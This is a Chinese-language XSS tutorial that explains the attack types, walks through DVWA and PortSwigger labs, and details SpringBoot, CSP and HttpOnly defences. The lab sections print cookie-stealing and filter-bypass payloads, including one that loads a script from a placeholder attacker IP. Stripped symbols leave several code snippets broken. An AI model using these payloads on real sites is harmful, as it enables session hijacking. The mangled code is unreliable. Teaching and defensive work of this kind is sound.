1. 从“网页弹窗”说起XSS到底是什么很多人第一次接触XSS是从某个群里收到一条链接开始的——“点开它能偷你的cookie”。点开之后网页弹了个窗Cookie确实被发走了然后你就“被下线”了。这其实就是XSS最经典的一幕。XSS全称Cross-Site Scripting中文叫跨站脚本攻击。它和“跨站”两个字关系不大——真正的意思是攻击者把一段恶意脚本“塞”进了你正在浏览的网页里然后这段脚本在你浏览器里以你本人的身份执行。浏览器分不清这段脚本是网站自己的还是攻击者塞进来的只要注入成功它就能拿到你在这个网站上的全部权限。为什么这个漏洞危害这么大因为它利用的不是服务器端漏洞而是“浏览器对网站的信任”。防病毒软件不会拦防火墙也不会叫——脚本是在正常页面里运行的走的流量和你正常访问一模一样。前几年我做过一次授权范围内的渗透测试客户是家做电商的公司。整个项目下来服务器硬得像块铁但几分钟之后我们从搜索框里打进去了一段payload直接把管理员后台的会话拿到了。服务器没有失陷但后台已经易主。这就是XSS的可怕之处——它不打服务器打的是每一个正在看网页的人。本文从原理、类型、实战靶场、防御落地、以及我在真实项目中遇到的坑这几个角度把XSS这件事从头到尾说一遍。零基础的人可以把它当入门教程有经验的人可以直接跳到第4章看防御方案。收藏这篇以后做代码审计或者应急响应的时候能少走不少弯路。2. 三种类型一条主线谁在信任谁的“话”XSS的分类说白了就是“脚本是从哪儿进来的”。反射型走URL存储型走数据库DOM型连服务器都不经过。但无论哪种攻击的本质都是一样的把用户的输入当成代码来执行。这一章把三种类型逐一拆开讲配合简单的例子和类比确保你读完能分清“我在哪个环节被打了”。2.1 反射型XSS一次性的“钓鱼一击”反射型XSS也叫非持久型XSS。它的特点是恶意脚本通过URL参数传给服务器服务器未经处理直接拼到响应页面里脚本在浏览器里执行一次——刷新、关闭页面就没了。典型的攻击场景是这样的http://example.com/search?keywordscriptalert(document.cookie)/script如果服务器把keyword的值原样放回到搜索结果页里用户一访问这个链接脚本立刻执行。攻击者通常把这个恶意链接伪装成正常链接发给目标用户诱导点击。我曾经在测试一个政府网站时发现它的搜索接口会回显用户的搜索词而且完全没有过滤。我提交了一段引号闭合的payload后前端页面直接把我的输入渲染成了可执行脚本。这种漏洞修复起来不难——做个HTML实体编码就行——但排查起来费劲因为开发者总觉得“搜索框没问题”。为什么叫“反射型”因为脚本是通过服务器的“反射”传给浏览器的。它的生命周期只有一次但正因如此它特别适合配合钓鱼攻击使用——攻击者可以在链接里带上某个人的ID信息做到精准打击。2.2 存储型XSS危害最大的“持久性潜伏”存储型XSS也叫持久型XSS。攻击者的脚本被存储在目标服务器上数据库、文件、缓存等任何用户访问这个页面时都会执行它。它是三种类型中危害最大的一种。最典型的场景是评论区、留言板、个人信息编辑处。我在某次代码审计中见过这样一个案例一个论坛的帖子标题字段直接拼接进HTML模板没有任何过滤。攻击者在标题里写入了一句话的payload然后所有访问这个帖子的用户——包括管理员——都中招了。管理员在看帖子时cookie被偷走后台被接管。存储型XSS和反射型的区别可以这样理解反射型是“路过踩一脚”存储型是“基地扎根了”。一旦脚本进了数据库它就变成了一个“定向爆破装置”所有访问该页面的用户都会中招而这个页面看起来完全正常。存储型XSS的payload往往不只是一个alert弹窗而是一段完成完整攻击链的脚本窃取cookie、改写页面表单、向指定接口发送请求、甚至发起C2通信。攻击者往往会把这段脚本接入XSS平台可实时接收受害者的信息。2.3 DOM型XSS只在浏览器里完成的“内鬼作案”DOM型XSS和前两者有一个本质性的区别它根本不经过服务器。脚本的数据来源于浏览器的DOM操作比如document.URL、location.hash、window.name或者是某个前端框架里的v-html、innerHTML赋值。典型的场景是这样的var name new URLSearchParams(window.location.href).get(name); document.getElementById(hello).innerHTML 你好 name;此时URL中的nameaaascriptalert(1)/script会直接以HTML形式渲染到页面里。浏览器执行了脚本而服务器端从头到尾没有参与过这个过程——服务器返回的HTML片段里没有包含这个输入漏洞完全存在于前端代码的逻辑中。DOM型XSS的隐蔽性最高。常规的WAFWeb应用防火墙基本拦不住它因为恶意载荷完全发生在客户端服务器日志里查不到任何蛛丝马迹。我在一次应急响应中排查了一整天的日志都没找到可疑请求最后发现攻击载荷全在URL的#后面——而#后面的内容和哈希值根本不会被发送到服务器自然也就不会出现在任何访问日志里。分析DOM型XSS时浏览器开发者工具几乎成了必备工具。你需要重点排查代码里使用了innerHTML、document.write、outerHTML、eval等危险DOM方法的语句并追踪这些方法的参数是否被外部输入控制。2.4 三类型对比一张表搞清楚核心差异类型注入位置是否经过服务器持久性危害程度典型场景反射型URL参数是一次性中搜索框、URL跳转参数存储型数据库/文件是持久极高评论、留言板、个人资料DOM型浏览器DOM节点否取决于页面逻辑高前端渲染、Hash路由、锚点参数一句话记忆法反射是“借道”存储是“驻留”DOM是“内鬼”。掌握了这条主线后面所有防御和排查手段都是围绕它展开的。3. 靶场实战从DVWA到PortSwigger一步步把手“练脏”理论说得再多不亲手打一次都是纸上谈兵。这一章用DVWA、Pikachu、PortSwigger、CTFHub这四类最常见的靶场来带你逐步实操。所有操作都是在本地或授权环境内进行的——这一点非常重要请务必只在你自己搭的靶场里练手。3.1 环境搭建十分钟起一个DVWADVWADamn Vulnerable Web Application是一个基于PHPMySQL的靶场专为安全练习设计。它包含了XSS、SQL注入、文件上传等常见漏洞的练习环境而且每个漏洞都有低、中、高三个难度等级非常适合从零开始。我说下搭建过程。如果你已经有PHP环境XAMPP、phpStudy都行下载DVWA源码放在Web根目录导入数据库配置好config/config.inc.php访问首页按提示初始化就行。我建议直接用Dockerdocker run -d -p 80:80 vulnerables/web-dvwa容器起来之后访问http://localhost默认账号密码是admin/password。登录后切换到“DVWA Security”标签页把难度等级调成low然后进入“XSS (Reflected)”页面。这里有一个小提示很多新手刚进靶场就急着测其实先看一遍源码反而效率更高。DVWA的每个漏洞模块都附带PHP源码你能直接看到漏洞产生的原因——这是靶场最有价值的部分。3.2 DVWA三关详解反射型、存储型与DOM型3.2.1 反射型XSS ReflectedDVWA的反射型XSS页面就是一个输入框提交的参数是name服务器接收后直接拼到欢迎语里。Low级别没有任何防护直接输入scriptalert(document.cookie)/script提交后浏览器弹出了包含会话Cookie的提示框。此时页面URL变成了http://127.0.0.1/vulnerabilities/xss_r/?namescriptalert(document.cookie)/scriptMedium级别加了str_replace函数将script替换为空。你以为这样就安全了直接大小写混写就绕过了SCRIPTalert(1)/SCRIPT或者用img标签配合onerror事件完成攻击img srcx onerroralert(1)High级别换了思路用正则匹配掉常见的标签和关键字。但这种方式同样有绕过空间——比如用svg标签配合onload事件、用#x3c;#x73;cript实体编码等。真正的安全防御永远不是靠“黑名单”堆出来而是靠“白名单”输出编码。3.2.2 存储型XSS StoredDVWA的存储型XSS是一个留言板模块Low级别下直接提交scriptalert(document.cookie)/script这条数据写进了数据库之后每一次刷新留言板页面脚本都会执行。尝试换一个payload让它导入一段外部脚本script srchttp://你的IP/xss.js/script这样你就搭了一个最基础的“持久型攻击链”。Medium级别对输入做了addslashes转义但对输出没有做任何编码——HTML标签仍然能原样渲染。High级别才对script做了正则过滤但仍然能通过img等标签绕过。这提醒我们输入校验挡不住一切输出编码才是最后的防线。3.2.3 DOM型XSS DOMDVWA的DOM型XSS模块也很经典。Low级别下页面直接用document.write把URL中的语言参数输出到HTMLdocument.write(option value lang decodeURI(lang) /option);此时你在URL的default参数里写入Englishscriptalert(1)/script脚本就会执行。它没有经过任何服务器端的处理日志里查不到——这也是为什么说DOM型XSS的排查难度最高。3.3 Pikachu与CTFHub不同场景下的“见招拆招”Pikachu是另一套国人开发的漏洞靶场最大的特点是每个漏洞都配了详细的说明文字特别适合理解漏洞产生的业务背景。它的XSS模块包含反射型、存储型、DOM型还额外加了“XSS盲打”和“XSS过滤绕过”的练习比DVWA多了一层进阶空间。我在Pikachu上做XSS盲打测试时提交了一个接入了XSS平台的payload然后在后台确认到Cookie成功回传——这个练习能帮你理解“攻击者是怎么远程拿数据的”。CTFHub上的XSS题则更偏向CTF竞赛逻辑。题目会给你一个页面要求通过构造特定的payload触发目标并获取flag常见的考点有基于onload/onerror触发事件基于实体编码绕过过滤基于SRI非一致性绕过CSP基于JSONP接口的跨域读取CTFHub的题有在线环境不需要自己搭建但题目难度阶梯较大建议先把DVWA和Pikachu刷完再上手。3.4 PortSwigger靶场真实业务场景下的XSSPortSwigger即Burp Suite官方的Web Security Academy提供了一套高质量的XSS实验环境最大的优势是场景真实。每道题构建了一个接近生产环境的业务系统比如博客系统、电商网站、店铺页面你需要完成一次完整的“发现-利用-绕过-验证”链条。我在它的反射型XSS题目里印象最深的一道题是页面把用户输入放到了input标签的value属性中同时过滤了尖括号。乍一看没法注入标签了但其实只要闭合value属性的引号再用onmouseover事件即可完成攻击 onmouseoveralert(1)PortSwigger的题目分为三档反射型、存储型、DOM型每一题都给了交互验证逻辑——只有payload真正触发了页面才会显示“Congratulations”。它还会配备详细的解题思路提示非常适合自学。我个人的刷题顺序建议是DVWA完成低中高三级全部XSS→ Pikachu补盲打和绕过→ PortSwigger从Apprentice到Expert逐级打→ CTFHub做综合挑战。这个顺序下来你能覆盖从原理认知到实战利用的全链路。4. 防御实战从SpringBoot过滤器到CSP搞懂每一道防线玩过攻击之后我来说说怎么防御。防御是系统工程不是写一个过滤器就完事了。核心思路有四条输入校验、输出编码、安全上下文响应头、浏览器侧防护。这一章以SpringBoot项目为背景把方案讲透。4.1 为什么需要一个全局过滤器很多开发者对XSS防御的理解停留在“写个正则过滤关键字”上。但真正的XSS防御最理想的方式是在“输入入口”统一做一层处理——这就是过滤器Filter的价值。SpringBoot中定义一个Filter可以在请求到达Controller之前对请求参数做统一的清理过滤和编码转义。同时它还应该可以做“请求封装”——用HttpServletRequestWrapper包装原始请求让request.getParameter()等方法返回处理过的安全值。这样做有一个明显的好处业务层的代码完全不用改动安全逻辑和业务逻辑解耦。Component public class XssFilter implements Filter { Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { XssHttpServletRequestWrapper xssRequest new XssHttpServletRequestWrapper((HttpServletRequest) request); chain.doFilter(xssRequest, response); } }public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { public XssHttpServletRequestWrapper(HttpServletRequest request) { super(request); } Override public String getParameter(String name) { String value super.getParameter(name); return cleanXss(value); } private String cleanXss(String value) { if (value null) { return null; } // 转义 HTML 特殊字符 return value.replaceAll(, lt;) .replaceAll(, gt;) .replaceAll(\, quot;) .replaceAll(, #x27;) .replaceAll(, amp;); } }这里有一个重要的取舍问题替换还是转义replaceAll把尖括号直接替换为空是“黑名单”思路把转义成lt;是“白名单”思路。我强烈推荐转义而不是替换——因为替换会改变用户的原始数据比如用户输入一句正常的比较表达式ab替换后变成ab数据就失真了。而转义之后数据原样保存只是在HTML渲染时不会被当作标签解析既安全又保留了语义。值得提醒的是如果项目用了Spring Boot的内嵌Tomcat直接注册FilterRegistrationBean就行注意ServletComponentScan和Component两种注册方式的生效时机差异。如果项目里还有拦截器Interceptor记得过滤器比拦截器先执行——所以过滤器适合做全局限流、统一清洗拦截器适合做登录校验、权限校验两者不要混用。4.2 上传PDF文件场景处理XSS要细到什么程度热词里有一个非常有业务代表性的场景SpringBoot项目里需要在上传PDF文件时处理XSS攻击。很多人第一反应是“PDF里怎么会有XSS”——还真有而且不是罕见情况我来说清楚。PDF本质上是文本格式里面可以嵌入JavaScript脚本。当用户用浏览器直接打开PDF时PDF渲染器尤其是Adobe Reader或浏览器内置的PDF插件会执行内嵌的JS脚本——这相当于打开了一个“微型网页”。攻击者可以构造一个PDF文件里面内嵌app.alert()代码诱导受害者用浏览器打开它脚本在以受害者身份登录的会话上下文中执行从而窃取Cookie或发起恶意请求。防御方案要从两个维度同时做第一个维度是文件名。文件上传接口一般不会让你直接使用原始文件名因为文件名本身也可能携带XSS payload。比如上传一个名为img srcx onerroralert(1).pdf的文件如果系统把这个文件名渲染到了下载页面的HTML中且未做编码同样会触发XSS。所以在保存上传文件时一定要对文件名做双重处理重新生成随机文件名UUID存储展示时再做HTML实体编码。第二个维度是文件内容。对PDF文件内容做XSS扫描和净化在Java生态里比较常用的方案是通过PDFBox等库提取PDF文本内容检查并移除高危JS关键内容更严格的做法是调用反病毒引擎扫描。完全干净的PDF文件一般只包含文本、图片和基础对象不包含JS动作。内容安全检测的代码大致长这样try (PDDocument document PDDocument.load(file)) { // 遍历所有页面 for (PDPage page : document.getPages()) { // 提取文档中的所有action检查是否有JavaScript动作 PDAction action page.getAction(); if (action instanceof PDActionJavaScript) { // 命中JS动作直接拒绝或清除 log.warn(Detected JavaScript action in PDF, blocking upload); page.setAction(null); } } document.save(outputFile); }拦截到之后是拒绝还是清除我的建议是对内部系统直接拒绝并记录日志对对外业务系统能否“清除”而不影响文件可用性需要充分验证否则一律走人工审核。安全处理不能以破坏正常功能为代价——这里踩过的坑后面第5章还会细讲。4.3 输出编码比过滤器更根本的防线很多人以为过滤器做完了XSS防御就结束了。实际上过滤器能覆盖请求参数但覆盖不了一个非常重要的场景——前端JS里动态渲染的数据。此时前端的输出编码策略才是关键。输出编码分为三类场景对应三种编码方式输出位置编码方式示例HTML标签内HTML实体编码→lt;HTML属性内属性编码→quot;JavaScript/URL上下文JavaScript/URL编码→\x27以Java服务端的Thymeleaf模板为例th:text是天然做HTML转义的而th:utext则不会转义——看到代码里出现utext、v-html、innerHTML、dangerouslySetInnerHTML这几个词就要警觉了。前端框架方面Vue的{{ }}插值是编码后的安全输出React的{expression}同样会转义但dangerouslySetInnerHTML等于把安全护栏拆掉了。我曾经在审计一个后台管理系统时发现前端工程师用Vue渲染了一个后端返回的HTML片段那段内容里包含用户提交的富文本。富文本确实需要渲染HTML但前提是后端必须先用白名单策略清洗——只允许b、i、a、img等有限的标签只允许href、src等有限的属性然后才能交给前端渲染。我推荐用Jsoup来实现白名单清洗String safeHtml Jsoup.clean(userInput, Safelist.relaxed().addTags(p, br, b, i, u, span) .addAttributes(a, href, title) .addAttributes(img, src, alt));注意Safelist.relaxed()相对宽松产品上线前必须根据实际业务场景收紧不能无脑用。4.4 HttpOnly与CSP两道主动性的安全护栏输出编码是“被动防御”——让恶意数据无法执行而HttpOnly和CSP是“主动防御”——从浏览器层面限制攻击者的能力。HttpOnly是一个Cookie属性的开关。一旦设置JavaScript将无法通过document.cookie读取该Cookie的值。这意味着即使XSS攻击成功了攻击者也无法通过最常规的手段窃取会话凭证。在SpringBoot中开启response.addCookie(new Cookie(sessionId, xxx)); // 同时设置 cookie.setHttpOnly(true);或者更简单地在配置中统一设置server.servlet.session.cookie.http-only: true**CSPContent Security Policy**则是浏览器侧的一套白名单策略告诉浏览器“当前页面只能加载哪些来源的脚本、样式、图片等资源”。一个基础的CSP响应头长这样Content-Security-Policy: default-src self; script-src self; style-src self这个头告诉浏览器脚本只能从本站加载外部域名的脚本一律阻断。一旦攻击者注入了一个外部域名的script src浏览器会直接在控制台报violation脚本不会执行。CSP对存储型和反射型XSS有非常好的抑制效果。不过CSP落地的时候需要特别留意一个坑inline脚本和eval()。很多前端项目为了性能或历史原因代码里大量使用了内联script块和eval()函数——开启严格CSP后这些代码会全部失效。我接手过的一个老项目就是这种情况安全团队要求上CSP结果上线当天几个核心页面全部白屏最后只能先放行unsafe-inline再逐步改代码迁移。所以CSP的实施要分阶段先上线Content-Security-Policy-Report-Only模式只记录违规不阻断等开发团队把违规点清理完再切换成真正的CSP。4.5 前端的最后一步输入校验与富文本清理有一段话我反复讲过前端校验是为了用户体验后端校验才是安全底线。因为攻击者完全可以绕过前端JavaScript直接构造HTTP请求前端的拦截拦不住真正的攻击者。前端表单校验的作用是保证普通用户输入数据时不会把恶意字符提交上去。你可以用extend校验框架或简单的正则在提交前拦截、、javascript:等非法字符。但对富文本编辑器如TinyMCE、wangEditor则要格外小心编辑器生成的HTML代码虽然经过了编辑器自身的过滤但当提交到后端时拦截器必须仍然对富文本内容做HTML标签白名单清洗——永远不要把“编辑器已经过滤了”当成后端不设防的理由。5. 常见问题与排查技巧实录写给一线的实战避坑指南这章聊实操中踩过的坑和排查思路。这些内容通常不会出现在教科书里但真正做安全或者开发的人几乎每一个都遇到过。5.1 排查XSS漏洞的系统方法论很多时候你接手的是一个已经存在的系统用户反馈“页面总是弹窗”或者“账号无故被盗”这时候需要排查XSS漏洞。我的排查顺序一般是这样的先把页面源码全部拉出来搜索innerHTML、outerHTML、document.write、eval、v-html、dangerouslySetInnerHTML这些危险调用点。然后追踪每个危险点的数据来源——数据是从哪一层传进来的是用户输入直接进模板还是过了哪一层处理如果有“用户可控数据点进危险函数”的路径那这条路就是漏洞候选。找到候选后用浏览器开发者工具手动验证。直接在URL中构造payload观察页面是否弹窗、网络面板中是否有外部请求发出。如果弹了再用Burp Suite抓一遍请求包确认载荷不经过任何编码就能直达页面。还有一个不起眼但很关键的排查点——HTTP响应头里的Content-Type。如果服务器返回的是text/html而数据源又可控即使用户输入里只有少量HTML标签也可能被浏览器强行解析成页面的一部分。我在测试一个文件下载接口时发现它返回的Content-Type是application/pdf没错但下载链接的参数可控后端把参数直接拼到了文件名里浏览器处理时把它当成了HTML渲染——这种边缘场景最难排查。5.2 过滤器误伤的“血泪教训”防御方案落地过程中误伤是躲不开的课题。做全局过滤器时有两类踩坑几乎必现第一类是“把数据改坏了”。直接替换而不是转义导致用户输入的文本内容缺失比如合法的业务数据“xy”变成了“xy”。转义方案虽然保存了原始数据但在前端回显时如果忘了做二次解码界面上就会出现一串lt;——所以在做编码方案前需要明确“在哪个环节编码、在哪个环节解码”两边口径必须一致。第二类是“过滤器拦截了所有参数包括不该动的”。比如用户在评论区输入了一段包含HTML的代码分享被全局过滤器强制转义成普通文本功能就废了。我的建议是过滤器配置excludeUrls白名单允许特定路径跳过过滤如富文本编辑器的上传接口或允许特定参数如富文本内容只做白名单清洗不做全局转义。这些配置都需要在项目初始阶段统一定好否则后期维护成本会指数级上升。5.3 XSS平台这类工具应该怎么对它做防护热词里提到了“蓝莲花XSS平台”等工具。这类平台的核心能力是安全测试人员在自己搭建的服务器上部署平台通过平台生成一段恶意脚本地址把脚本注入到靶场页面中当有浏览器访问该页面时脚本执行并自动向平台发送受害者的信息——Cookie、页面内容、键盘记录等。它本质上是测试验证的辅助工具既不是“攻击工具”也不能代表XSS漏洞本身。平台的价值在于安全测试者可以用它高效证明漏洞可利用性量化攻击后果——而不是反复用硬编码的alert(1)去“演示弹窗”。我必须强调一个底线一切XSS测试都必须限定在你自己拥有或获得明确书面授权的环境中进行。未授权测试是违法的这个没有任何可讨论的余地。企业内部蓝队选手也需要知道生产环境哪怕发现了疑似XSS也不能直接上XSS平台去“验证”正确做法是截断PoC、保留日志、走漏洞管理流程。站在防御方视角防范这类平台的后渗透靠的还是第4章讲的三件套输出编码、HttpOnly、CSP。有了这三样攻击者就算植入了脚本也无法窃取会话、无法加载外部脚本、无法伪造请求。这三件事做完XSS平台基本就成了废柴。5.4 常见问题速查表现象可能原因快速处理方式页面弹窗但刷新后消失反射型XSS检查参数回显位置对输出做HTML编码每次打开页面都弹窗存储型XSS排查数据库中的历史数据清除恶意记录修复输入输出点弹窗只在特定浏览器出现浏览器解析差异 / DOM型XSS用不同浏览器开发者工具对比DOM执行流程输入了合法字符但显示乱码过滤器误伤检查是否做了替换而非转义确认前后端编码口径加过滤器后系统页面白屏全局过滤器引发资源阻塞或拦截了必要文件排查过滤器顺序添加excludeUrls排除静态资源CSP上线后页面白屏内联脚本和eval被限制先开Report-Only模式逐步排查和迁移攻击者拿到Cookie但登录失败了HttpOnly已开启攻击者转向钓鱼或C2方式仍需加强整体防护上传的PDF文件名在页面渲染成HTML文件名未做输出编码随机文件名存储展示时HTML实体编码富文本内容无法提交全局过滤器误伤富文本字段对该字段改为白名单清洗不做全局转义这个表我建议保存下来。生产环境出问题的时候对照排查往往比从头找要快很多。收尾之前分享几点我的真实体会把整套XSS从原理到防御梳理完我想讲几句实操层面的心得。第一个体会是XSS漏洞的修复不是靠“禁”出来的。很多团队的做法是把script标签加入黑名单、把alert关键字过滤掉——这种方案三天两头被绕过而且每绕一次成本都在上升。可靠的方案永远是那三板斧输入校验做白名单、输出渲染做编码、浏览器侧上HttpOnly和CSP。它们彼此独立又互相补充缺哪一个都会留下短板。第二个体会是安全处理永远不要凌驾于业务之上。我在做全局过滤器的时候因为怕误伤再三要求开发团队在改接口之前先发一个变更申请。对付这种情况我的经验是做一个“安全配置中心”把过滤器排除路径、富文本白名单字段、参数编码规则全部做成配置项而不是硬编码在代码里。这样的设计既保住了安全底线也不会动不动就误伤正常业务。第三个体会是安全不是某一个岗位的事。前端工程师写一个v-html的时候后端工程师接口拼接字符串的时候运维上CSP头的时候——每个人的一点点疏忽都会成为链条中最弱的一环。所以对开发团队我通常会提一个最低要求凡是用户输入能影响页面渲染的位置跨站脚本的两个字——“编码”——必须刻在脑子里。最后送上一句我经常对新人说的话XSS这种漏洞攻击面最广、利用花样最多、危害不可低估但防御方案又是所有Web漏洞里最成熟的。把编码和CSP这两件事做扎实大部分XSS攻击就自动失效了。如果你将来在公司做代码审计或安全赋能把这套方法论带过去一定不会白学。
